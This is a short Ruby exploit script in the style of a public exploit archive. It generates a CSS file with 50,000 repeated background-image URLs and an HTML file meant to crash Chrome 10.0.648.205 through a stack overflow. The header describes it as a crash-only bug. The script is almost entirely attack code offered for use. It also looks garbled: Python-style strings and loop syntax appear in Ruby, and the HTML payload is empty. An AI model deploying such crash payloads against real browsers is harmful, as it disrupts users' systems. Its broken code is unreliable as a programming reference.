#!/usr/bin/ruby # #[+]Exploit Title: Google Chrome 10.0.648.205 Stack Overflow Vulnerability #[+]Date: 17\04\2011 #[+]Author: C4SS!0 G0M3S #[+]Software Link: http://www.google.com/chrome #[+]Version: 10.0.648.205 #[+]Teste On: WIN-XP SP3 Brazilian Portuguese #[+]CVE: N/A # # # #About: # #This is a bug of the Stack Overflow #that occurs when the safari or google chrome #deals with many URLs in the background-image #only causes a crash does not allow code execution. # # print """ Created By C4SS!0 G0M3S E-mail Louredo_@hotmail.com Site www.exploit-br.org """ css = """ body { background-image:""" i=0 while i<50000: css += "url('imagem.bmp')," i+=1 end css += "url('imagem.bmp');\n}\n" print "[+]Creating File style.css...\n" sleep(1) begin f = File.open("style.css","wb") f.write css f.close rescue print "Error:\n#{$!}\n" exit end print "[+]File Style.css Created With Sucess\n" sleep(1) HTML = ''' ''' print "[+]Creating File Exploit.html...\n" sleep(1) begin f = File.open("Exploit.html","wb") f.write HTML f.close rescue print "Error:\n#{$!}\n" end print "[+]File Exploit.html Created With Success\n" sleep(1)